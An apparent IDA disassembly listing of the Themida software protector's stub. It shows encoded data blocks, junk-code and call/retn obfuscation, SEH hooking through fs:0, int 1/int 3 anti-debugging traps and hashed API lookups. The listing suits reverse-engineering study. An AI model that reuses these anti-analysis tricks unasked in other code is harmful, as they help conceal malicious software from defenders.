dd 2E758D8Bh, 0FF68060Bh, 1000F01h, 0B319195h, 3D958B06h
dd 83060B18h, 0B0DB1BDh, 840F0006h, 34h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 1AC35040h, 0FA34BF66h
dd 0EDD8509h, 858D060Bh, 60DF5FDh, 0DE9F8h, 0D38B0000h
dd 0F5D3858Dh, 43BF060Dh, 506E563Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 1C35141h, 0E94ED345h, 6, 0ADDC9C0Eh
dd 0B5FF17E9h, 60DF5A0h, 0DA98D8Bh, 7BA060Bh, 0FF34CAC3h
dd 0DF59895h, 0FFBF0F06h, 0F5A48589h, 8589060Dh, 60B2905h
dd 0F5A4B5FFh, 8D89060Dh, 60B16BDh, 29919589h, 95FF060Bh
dd 60DF594h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 51C35646h, 0AE99EC9h, 34000000h, 0A50AF185h, 1C7EFA84h
dd 0FD8D8B3Dh, 0FF060B0Fh, 0DF5A4B5h, 0C5E28106h, 336F2403h
dd 0B0D258Dh, 0F195FF06h, 89060B02h, 0B00119Dh, 0F6EAE906h
dd 10E9FFFFh, 0F7000000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h
dd 0FFDF3F6Bh, 0E00EDB5h, 0BBC78106h, 0FF290958h, 0B0AC595h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 66A39068h, 858BC88Bh, 60B2B2Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 27C35141h, 895DF0CCh
dd 0B023985h, 11E906h
dd 0BDDC0000h, 0D8BFB08Fh, 0EC7A0B3Ch, 0DEC0D249h, 0E9120AACh
dd 5ACh, 11E8h, 29F05800h, 6CC3CD0Ah, 5E437616h, 23BF017Fh
dd 95897CA4h, 60B19C5h, 0A2B58D5Ah, 60060DF8h, 1B719D89h
dd 0EE8A060Bh, 0F9858D61h, 89060DA5h, 0B0B319Dh, 0FCD0FF06h
dd 0B529006Ah, 60B13F9h, 2F4D95FFh, 6A060Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 8501C5C3h
dd 1BBA663Ch, 0E1816603h, 0F38BFAB6h, 1AD59D09h, 858D060Bh
dd 60DA5F9h, 0B2D8D8Bh, 0D0FF060Bh, 0C958509h, 6A060Bh
dd 6830F60h, 8B000000h, 0B217585h, 0A1BD8906h, 61060B0Bh
dd 0B9A9CF81h, 95FF12D5h, 60B2F4Dh, 38E0Fh, 8B660000h
dd 89C08BCBh, 0B319195h, 0BDBD8306h, 60B05h, 0BD830975h
dd 60B29D1h, 50197400h, 0B8C08B53h, 7D9h, 2A358589h, 9D8D060Bh
dd 60DB31Ah, 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h
dd 7D9h, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 44C35747h, 17DA98Ah
dd 0B70F7E0Dh, 0FFB70FCAh, 0D181C08Bh, 78BBE6FDh, 12800F50h
dd 0E9000000h, 0Dh, 7D43AB19h, 0AD9490A3h, 0AA234591h
dd 6AD88B82h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0A42FC352h, 0A4DC05C8h, 80872927h
dd 8B66B1F5h, 9D8D53D0h, 60B043Dh, 389038Bh, 8950438Bh
dd 9D8D5043h, 60E0086h, 389038Bh, 0CE95Bh, 0CD250000h
dd 0D6428724h, 296467AAh, 9D890BB6h, 60B0515h, 0BD8B006Ah
dd 60B211Dh, 86858Dh, 8166060Eh, 508AD8F2h, 22899523h
dd 606A060Bh, 43D858Dh, 0DCBF060Bh, 505DDA84h, 8589006Ah
dd 60B05C1h, 0BD8B006Ah, 60B0139h, 180068h, 0CD958B00h
dd 53060B2Eh, 0C981D38Ah, 36E5E147h, 59995FFh, 880F060Bh
dd 1, 8D95FFFCh, 0F060B0Bh, 884h, 8F0F5200h, 0
; ---------------------------------------------------------------------------
pop edi
pusha
xor dh, 66h
mov ebx, ecx
popa
push dword ptr [ebp+60E00EDh]
mov cx, 4627h
push eax
jns loc_56EF3C
movsx ecx, di
loc_56EF3C: ; CODE XREF: Themida_:0056EF33j
pop edx
call dword ptr [ebp+60B0AC5h]
push 0
push ebx
call sub_56EF4E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56EF4E proc near ; CODE XREF: Themida_:0056EF46p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_56EF4E endp
; ---------------------------------------------------------------------------
dw 1729h
dd 87DD507Ah, 8F293FA5h, 43D858Dh, 8166060Bh, 8B4F78C9h
dd 6A1840h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 25D44C3h, 5169B1DDh, 0E8AA53E0h, 5, 4452B355h
dd 0CE9A6h, 8F200000h, 26DD29FDh, 36B1E03Fh, 665F1D5Ch
dd 85C7CB8Bh, 60B0711h, 0
; ---------------------------------------------------------------------------
xor edx, [ebp+60B0375h]
cmp dword ptr [ebp+60B0DB1h], 0
jz loc_56F014
sub di, 0A83Ah
cmp eax, 8Ch
jnb loc_56F20A
mov [ebp+60B1B31h], edx
jmp loc_56F04F
; ---------------------------------------------------------------------------
push 0
push esi
call sub_56EFFD
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56EFFD proc near ; CODE XREF: Themida_:0056EFF5p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_56EFFD endp
; ---------------------------------------------------------------------------
pop esi
mov edi, [ebp+60B20F1h]
loc_56F014: ; CODE XREF: Themida_:0056EFD1j
cmp eax, 96h
jnb loc_56F20A
push 0
push edx
call sub_56F02A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56F02A proc near ; CODE XREF: Themida_:0056F022p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_56F02A endp
; ---------------------------------------------------------------------------
sbb [ecx-6Ah], cl
mov edi, 564D1CAEh
jnb loc_56F04E
mov [ebp+60B0EF1h], edi
loc_56F04E: ; CODE XREF: Themida_:0056F042j
pop edi
loc_56F04F: ; CODE XREF: Themida_:0056EFEDj
lea eax, byte_5AF59F[ebp]
mov ecx, esi
mov [ebp+60B0865h], ecx
call eax
push 0
push ebx
call sub_56F06A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56F06A proc near ; CODE XREF: Themida_:0056F062p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_56F06A endp
; ---------------------------------------------------------------------------
dw 0CD3Ch
dd 0B18E8E55h, 11E874h, 0BB610000h, 4B8A1EADh, 0EE8AD301h
dd 0CD346D98h, 0FB7243Dh, 683h, 0ECDF8100h, 5F270716h
dd 0EFF2858Dh, 6A005Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 2E00FCC3h, 66D0A128h, 3FA0C781h
dd 958BD0FFh, 60B1161h, 8BBAC08Bh, 836628FFh, 0B05BDBDh
dd 9750006h, 29D1BD83h, 7400060Bh, 8B535019h, 0BC6B8C0h
dd 85890000h, 60B2A35h, 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh
dd 60B29D1h, 50177400h, 0BC6B853h, 85890000h, 60B2A35h
dd 0B0099D8Dh, 0D3FF060Dh, 0E580585Bh, 0E9858946h, 8B060B0Ah
dd 0FFF883C0h, 87850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 103F16C3h, 7DBD8B81h
dd 0C7060B24h, 0B316D85h, 6, 0FFB96600h, 111E9B2h, 66E90000h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 3908C350h, 9DB3CE98h, 10E8605Fh
dd 42000000h, 0D464E492h, 93F3BD38h, 32C79564h, 664DEBDCh
dd 59A483B8h, 1B59BD09h, 8B61060Bh, 0B0F59BDh, 1F88306h
dd 13850Fh, 0D2800000h, 0D6E9BDh, 87B90000h, 9699940h
dd 0B112995h, 0F176E906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 45F829C3h, 32EDBD8Bh
; ---------------------------------------------------------------------------
or eax, [esi]
loc_56F20A: ; CODE XREF: Themida_:0056EFE1j
; Themida_:0056F019j
mov eax, eax
mov [ebp+60B28EDh], esi
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56F224
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56F23D
loc_56F224: ; CODE XREF: Themida_:0056F219j
push eax
push ebx
mov eax, eax
mov eax, 7DDh
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB31Ah]
call ebx
pop ebx
pop eax
loc_56F23D: ; CODE XREF: Themida_:0056F222j
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56F25D
push eax
push ebx
mov eax, 7DDh
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB009h]
call ebx
pop ebx
pop eax
loc_56F25D: ; CODE XREF: Themida_:0056F244j
jmp loc_56F271
; ---------------------------------------------------------------------------
dw 7E63h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BAh, 3, 65h
dd 40884A9Ah, 0E7641522h
; ---------------------------------------------------------------------------
aas
loc_56F271: ; CODE XREF: Themida_:loc_56F25Dj
mov ecx, [ebp+60B1899h]
mov eax, eax
mov cx, si
jmp loc_56F465
; ---------------------------------------------------------------------------
xor [ebp+60B1AE5h], edi
lea eax, [ebp+60DFE8Ah]
mov edi, 6959604Eh
mov [ebp+60E0082h], eax
mov ecx, [ebp+60B2329h]
mov [ebp+60B05B9h], edx
jmp loc_56F2C7
; ---------------------------------------------------------------------------
movsx ecx, ax
lea eax, [ebp+60DFC92h]
movzx ecx, cx
inc eax
mov edi, [ebp+60B0E5Dh]
mov [ebp+60E0082h], eax
add di, 1C56h
loc_56F2C7: ; CODE XREF: Themida_:0056F2A4j
push 34h
lea eax, [ebp+60B16C5h]
push eax
push dword ptr [ebp+60E0082h]
push 0
call dword ptr [ebp+60B0BD9h]
cmp eax, 7
jz loc_56F449
mov bx, ds
test bl, 4
jnz loc_56F3EF
mov byte ptr [ebp+60B2845h], 56h
push 9CA8B852h
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
push 4
push 1000h
push 64h
push 0
call eax
mov [ebp+60E00F5h], eax
mov byte ptr [ebp+60B2845h], 47h
push 0EC18AC9Bh
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
call eax
mov esi, eax
mov byte ptr [ebp+60B2845h], 4Fh
push 0C62F2661h
push dword ptr [ebp+60B194Dh]
lea eax, [ebp+60B390Dh]
call eax
lea ebx, [ebp+60E00F1h]
push ebx
push 28h
push esi
call eax
test eax, eax
jnz short $+2
mov byte ptr [ebp+60B2845h], 41h
push 0DB876498h
push dword ptr [ebp+60B194Dh]
lea eax, [ebp+60B390Dh]
call eax
mov [ebp+60E010Eh], eax
mov byte ptr [ebp+60B2845h], 4Ch
push 80A4E7A4h
push dword ptr [ebp+60B194Dh]
lea eax, [ebp+60B390Dh]
call eax
mov ebx, [ebp+60E00F5h]
lea ebx, [ebx+4]
push ebx
lea ebx, [ebp+60E00FAh]
push ebx
push 0
call eax
mov ebx, [ebp+60E00F5h]
mov dword ptr [ebx], 1
mov dword ptr [ebx+0Ch], 2
mov dword ptr [ebp+60B0C59h], 0
push 0
push 0
push 0
mov ebx, [ebp+60E00F5h]
push ebx
push 0
push dword ptr [ebp+60E00F1h]
call dword ptr [ebp+60E010Eh]
loc_56F3EF: ; CODE XREF: Themida_:0056F2EDj
mov byte ptr [ebp+60B2845h], 45h
push 92A5F797h
push dword ptr [ebp+60B0315h]
lea eax, [ebp+60B390Dh]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_56F449
mov ebx, [ebp+60E00F5h]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+60E00F5h]
push ebx
push 0
push dword ptr [ebp+60E00F1h]
call dword ptr [ebp+60E010Eh]
push dword ptr [ebp+60E00F1h]
call dword ptr [ebp+60B0B8Dh]
loc_56F449: ; CODE XREF: Themida_:0056F2E1j
; Themida_:0056F415j
push 0
call dword ptr [ebp+60B2F4Dh]
sub [ebp+60B28C1h], eax
pusha
or esi, 741A3004h
mov ecx, [ebp+60B1AADh]
popa
; START OF FUNCTION CHUNK FOR sub_56D9C7
loc_56F465: ; CODE XREF: sub_56D9C7+E2j
; Themida_:0056F27Cj
lea eax, [ebp+60E3547h]
push 0
push edi
call sub_56F476
and [edi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_56D9C7
; =============== S U B R O U T I N E =======================================
sub_56F476 proc near ; CODE XREF: sub_56D9C7+1AA7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
loc_56F484: ; CODE XREF: Themida_:0056F4AEj
push edi
retn
sub_56F476 endp
; ---------------------------------------------------------------------------
dw 906Ch
; ---------------------------------------------------------------------------
xchg edi, [esi+7]
pop esi
wait
xchg eax, esp
push eax
push 0
push edx
call sub_56F49A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56F49A proc near ; CODE XREF: Themida_:0056F492p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_56F49A endp
; ---------------------------------------------------------------------------
inc eax
add edx, edi
leave
jno short loc_56F484
mov [ebp+60B2A05h], eax
push large dword ptr fs:0
mov [ebp+60B0069h], ecx
mov large fs:0, esp
cld
cmp dword ptr [ebp+60B2715h], 0
jz loc_56F530
mov [ebp+60B2E25h], esi
cmp dword ptr [ebp+60B0B19h], 1
jnz loc_56F530
pusha
mov [ebp+60B04E9h], eax
jmp loc_56F509
; ---------------------------------------------------------------------------
db 26h
dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh
db 4Ch
; ---------------------------------------------------------------------------
loc_56F509: ; CODE XREF: Themida_:0056F4F2j
popa
cmp byte ptr [ebp+60E050Eh], 0
jnz loc_56F530
mov cl, dl
jmp loc_56F6AB
; ---------------------------------------------------------------------------
pusha
mov [ebp+60B29C1h], eax
mov esi, [ebp+60B211Dh]
popa
mov dx, 0DF11h
loc_56F530: ; CODE XREF: Themida_:0056F4D2j
; Themida_:0056F4E5j ...
xor ebx, ebx
push 0
push ebx
call sub_56F53D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56F53D proc near ; CODE XREF: Themida_:0056F535p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_56F53D endp
; ---------------------------------------------------------------------------
db 0FDh, 14h, 2Eh
dd 0FE24FEF4h, 8D0FC033h, 19h, 14E9h, 55745C00h, 0CAF145EFh
dd 0B474BD6Bh, 0E9C8E845h, 188692A4h, 3F0F4063h, 8F640B07h
dd 5, 4C48300h, 14E9h, 8A9C1C00h, 0DD22B8B1h, 0F4511591h
dd 184982DBh, 8A4273CCh, 0F98B6667h, 0CE960h, 48410000h
dd 0A9A324E9h, 6159F744h, 950BEEAEh, 60B1661h, 0FFFB8361h
dd 1B840Fh, 0B5290000h, 60B2DF1h, 0D4E9h, 0BE900h, 37D20000h
dd 0EAEA7A71h, 0BBEAB57Ah, 58E99Ch, 8C0F0000h, 3, 8BCABF0Fh
dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 60E3569h, 0B8838Bh
dd 858D0000h, 60E3607h, 0B88389h, 335D0000h, 8B60C3C0h
dd 49B529C6h, 61060B03h, 32819D89h, 858D060Bh, 60E355Fh
dd 1A4D958Bh, 8150060Bh, 7B37B9C7h, 6E845h, 20E10000h
dd 917A8E49h, 4A58D8Bh, 645F060Bh, 35FFh, 8D0B0000h, 60B2A59h
dd 258964h, 60000000h, 6504BE66h, 0AB961h, 4B80000h, 54855D7h
dd 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h
dd 68FB81EDh, 75564D58h, 3185C70Ah, 1060B0Eh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_56F6AB: ; CODE XREF: Themida_:0056F519j
pop large dword ptr fs:0
add esp, 4
mov edi, [ebp+60B2ED9h]
stc
mov edx, [ebp+60B21E5h]
mov eax, eax
mov [ebp+60B0BA5h], esi
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56F6DC
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56F6F5
loc_56F6DC: ; CODE XREF: Themida_:0056F6D1j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+60B1299h], eax
lea ebx, [ebp+60DB381h]
call ebx
pop ebx
pop eax
loc_56F6F5: ; CODE XREF: Themida_:0056F6DAj
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56F715
push eax
push ebx
mov eax, 43Dh
mov [ebp+60B1299h], eax
lea ebx, [ebp+60DB022h]
call ebx
pop ebx
pop eax
loc_56F715: ; CODE XREF: Themida_:0056F6FCj
jmp loc_56F722
; ---------------------------------------------------------------------------
dw 833Eh
dd 0A72742BEh
db 0A3h, 2
; ---------------------------------------------------------------------------
loc_56F722: ; CODE XREF: Themida_:loc_56F715j
jmp loc_56F730
; ---------------------------------------------------------------------------
sbb al, 0E3h
mov esi, 0A78A82A2h
sub al, 32h
loc_56F730: ; CODE XREF: Themida_:loc_56F722j
call near ptr loc_56F73D+1
int 3 ; Trap to Debugger
outsd
db 65h
dec esi
pop es
out dx, al
push ebx
cwde
loc_56F73D: ; CODE XREF: Themida_:loc_56F730p
fmul dword ptr [ecx+0B08758Dh]
push es
pop edx
mov eax, eax
jmp loc_56F886
; ---------------------------------------------------------------------------
dd 4, 35382E31h, 35h, 6 dup(0)
db 0
align 2
aExceptionInfor db 'Exception Information',0
aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
; ---------------------------------------------------------------------------
loc_56F886: ; CODE XREF: Themida_:0056F747j
cmp dword ptr [ebp+60B0299h], 0
jz loc_56F9C0
lea eax, [ebp+60DAE39h]
push eax
lea eax, [ebp+60DADA3h]
push eax
push 80000001h
call dword ptr [ebp+60DAE49h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36B2h]
push eax
push 0
push 0
lea eax, [ebp+60DADB7h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36B6h]
push eax
push 0
push 0
lea eax, [ebp+60DADC9h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36C2h]
push eax
push 0
push 0
lea eax, [ebp+60DAE16h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36CAh]
push eax
push 0
push 0
lea eax, [ebp+60DAE34h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36C6h]
push eax
push 0
push 0
lea eax, [ebp+60DAE1Dh]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36BAh]
push eax
push 0
push 0
lea eax, [ebp+60DAE25h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
lea eax, [ebp+60E36A8h]
push eax
lea eax, [ebp+60E36BEh]
push eax
push 0
push 0
lea eax, [ebp+60DAE2Ch]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2A61h]
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2ACDh]
jmp loc_56FA62
; ---------------------------------------------------------------------------
loc_56F9C0: ; CODE XREF: Themida_:0056F88Dj
cmp dword ptr [ebp+60B08F9h], 0
jz loc_56FA62
cmp dword ptr [ebp+60B0B19h], 0
jnz loc_56F9EB
mov edx, [ebp+60B1F75h]
add edx, 1CF8h
jmp loc_56F9FA
; ---------------------------------------------------------------------------
loc_56F9EB: ; CODE XREF: Themida_:0056F9D4j
lea edx, [ebp+60B043Dh]
mov edx, [edx+34h]
add edx, 3BD4C340h
loc_56F9FA: ; CODE XREF: Themida_:0056F9E6j
mov [ebp+60B2765h], edx
cmp dword ptr [ebp+60B2765h], 0
jz loc_56FA62
mov ebx, [ebp+60B2765h]
add ebx, 4Ch
mov eax, [ebx]
mov [ebp+60E36B2h], eax
mov ebx, [ebp+60B2765h]
add ebx, 50h
mov eax, [ebx]
mov [ebp+60E36B6h], eax
mov ebx, [ebp+60B2765h]
add ebx, 54h
mov eax, [ebx]
mov [ebp+60E36C2h], eax
mov ebx, [ebp+60B2765h]
add ebx, 58h
mov eax, [ebx]
mov [ebp+60E36C6h], eax
mov ebx, [ebp+60B2765h]
add ebx, 5Ch
mov eax, [ebx]
mov [ebp+60E36BAh], eax
loc_56FA62: ; CODE XREF: Themida_:0056F9BBj
; Themida_:0056F9C7j ...
cmp dword ptr [ebp+60B0299h], 0
jnz loc_56FA7C
cmp dword ptr [ebp+60B08F9h], 0
jz loc_56FAE4
loc_56FA7C: ; CODE XREF: Themida_:0056FA69j
push dword ptr [ebp+60E36CAh]
push dword ptr [ebp+60E36BEh]
push dword ptr [ebp+60E36BAh]
push dword ptr [ebp+60E36C6h]
push dword ptr [ebp+60E36C2h]
push dword ptr [ebp+60E36B6h]
push dword ptr [ebp+60E36B2h]
lea eax, [ebp+60E36ACh]
push eax
lea eax, [ebp+60E36E4h]
push eax
lea eax, [ebp+60B24BDh]
push eax
call dword ptr [ebp+60B000Dh]
add esp, 24h
push 40h
lea eax, [ebp+60E36CEh]
push eax
lea eax, [ebp+60B24BDh]
push eax
push 0
call dword ptr [ebp+60B0BD9h]
push 1
call dword ptr [ebp+60B2F4Dh]
loc_56FAE4: ; CODE XREF: Themida_:0056FA76j
mov eax, ecx
call near ptr loc_56FAF3+1
fdivr dword ptr [ebx+1C09B2Ah]
jp short loc_56FB0D
loc_56FAF3: ; CODE XREF: Themida_:0056FAE6p
cmp ah, [esi-75h]
retf
; ---------------------------------------------------------------------------
db 5Ah
dd 38A0Fh, 0B70F0000h, 0ABC281C8h, 0F00005Ah, 0A88h
db 0
; ---------------------------------------------------------------------------
loc_56FB0D: ; CODE XREF: Themida_:0056FAF1j
jmp loc_56FB17
; ---------------------------------------------------------------------------
dw 0DD18h
db 0DFh, 13h, 82h
; ---------------------------------------------------------------------------
loc_56FB17: ; CODE XREF: Themida_:loc_56FB0Dj
sub edi, edi
mov ebx, 6644343Eh
loc_56FB1E: ; CODE XREF: Themida_:0056FB92j
mov eax, [edx+edi]
call near ptr loc_56FB2C+1
sbb ecx, [edx]
aaa
sbb [eax-2Fh], ecx
loc_56FB2C: ; CODE XREF: Themida_:0056FB21p
arpl [esi+5FFB0D68h], di
pop ecx
add eax, 58CA8FC9h
jmp loc_56FB48
; ---------------------------------------------------------------------------
dw 0F3F5h
dd 4670AEBh, 62880C82h
; ---------------------------------------------------------------------------
loc_56FB48: ; CODE XREF: Themida_:0056FB39j
xor eax, 4C9B08FCh
mov ebx, eax
add eax, 4B9971DCh
jz loc_56FB64
jnb loc_56FB64
pusha
popa
loc_56FB64: ; CODE XREF: Themida_:0056FB56j
; Themida_:0056FB5Cj
push eax
mov ebx, 59CF1B9h
pop dword ptr [edx+edi]
jz loc_56FB76
mov bx, ax
loc_56FB76: ; CODE XREF: Themida_:0056FB6Dj
jmp loc_56FB88
; ---------------------------------------------------------------------------
db 0DFh
dd 510BC924h, 9035E212h, 23591956h
; ---------------------------------------------------------------------------
loc_56FB88: ; CODE XREF: Themida_:loc_56FB76j
sub edi, 4
clc
cmp edi, 0FFFFA600h
jnz loc_56FB1E
mov cl, 3Eh
pusha
mov dl, 73h
mov eax, eax
jmp loc_56FBAD
; ---------------------------------------------------------------------------
dd 341E4F7Ah, 8DFCC24h
db 0Ch
; ---------------------------------------------------------------------------
loc_56FBAD: ; CODE XREF: Themida_:0056FB9Fj
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56FBBF
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56FBD8
loc_56FBBF: ; CODE XREF: Themida_:0056FBB4j
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB31Ah]
call ebx
pop ebx
pop eax
loc_56FBD8: ; CODE XREF: Themida_:0056FBBDj
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56FBF8
push eax
push ebx
mov eax, 40Eh
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB009h]
call ebx
pop ebx
pop eax
loc_56FBF8: ; CODE XREF: Themida_:0056FBDFj
mov dl, 49h
stc
mov eax, eax
mov edx, 629CB38Bh
cmp dword ptr [ebp+60B2715h], 0
jz loc_56FC1E
push edi
mov dh, 9Ah
pop esi
cld
jmp loc_56FE81
; ---------------------------------------------------------------------------
xor si, 0F582h
loc_56FC1E: ; CODE XREF: Themida_:0056FC09j
mov edi, ds
push 0
push edx
call sub_56FC2B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56FC2B proc near ; CODE XREF: Themida_:0056FC23p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_56FC2B endp
; ---------------------------------------------------------------------------
aas
mov bl, 8Bh
retf 0F766h
; ---------------------------------------------------------------------------
db 0C7h, 4, 0
; ---------------------------------------------------------------------------
jnz loc_56FE81
jmp loc_56FC5A
; ---------------------------------------------------------------------------
db 40h
dd 0D165A8E0h, 78392856h
db 83h, 90h
; ---------------------------------------------------------------------------
loc_56FC5A: ; CODE XREF: Themida_:0056FC4Aj
mov si, 0B54h
mov edi, 0
push 0
push edi
call sub_56FC6E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56FC6E proc near ; CODE XREF: Themida_:0056FC66p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_56FC6E endp
; ---------------------------------------------------------------------------
dw 476Eh
dd 8DFCC057h, 0E3D989Dh, 0BA66F506h, 8B930D7Bh, 13E850D7h
dd 0D8000000h, 58A0A8F5h, 0AE93DD04h, 0AF5E73A8h, 379BCF1Fh
dd 0F78B3B40h, 6A935Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 807E96C3h, 0FF644C63h, 35h, 25896400h
dd 0
; ---------------------------------------------------------------------------
mov eax, esp
jmp loc_56FCEF
; ---------------------------------------------------------------------------
db 3Ah
dd 0C42FD469h, 36EFB0DFh
db 72h, 0FCh, 3Fh
; ---------------------------------------------------------------------------
loc_56FCEF: ; CODE XREF: Themida_:0056FCDEj
int 1 ; - internal hardware - SINGLE-STEP
; generated at end of each machine instruction if TF bit in FLAGS is set
jmp short $+2
push 0
push ecx
call sub_56FCFE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56FCFE proc near ; CODE XREF: Themida_:0056FCF6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_56FCFE endp
; ---------------------------------------------------------------------------
dw 5CDDh
dd 0AC372752h, 6FAC79ADh, 8BD78B66h, 52006AF1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0FB6E5D38h
dd 0FBE23F9h, 8E8C9B7h, 0D0000000h, 1542944Fh, 66CD3804h
dd 37A6E981h, 58F645Eh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_56FD67
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56FD67 proc near ; CODE XREF: Themida_:0056FD5Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_56FD67 endp
; ---------------------------------------------------------------------------
db 0FCh
dd 5F3AF5D2h, 0F89DCD8h, 0CE9D0B7h, 3E000000h, 0F4CF924Fh
dd 982A6629h, 83242229h, 6A04C4h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0B96625C3h, 0BE669851h
dd 0C00BAC45h, 0BF840Fh, 0BA660000h, 666132AAh, 0BD8DC88Bh
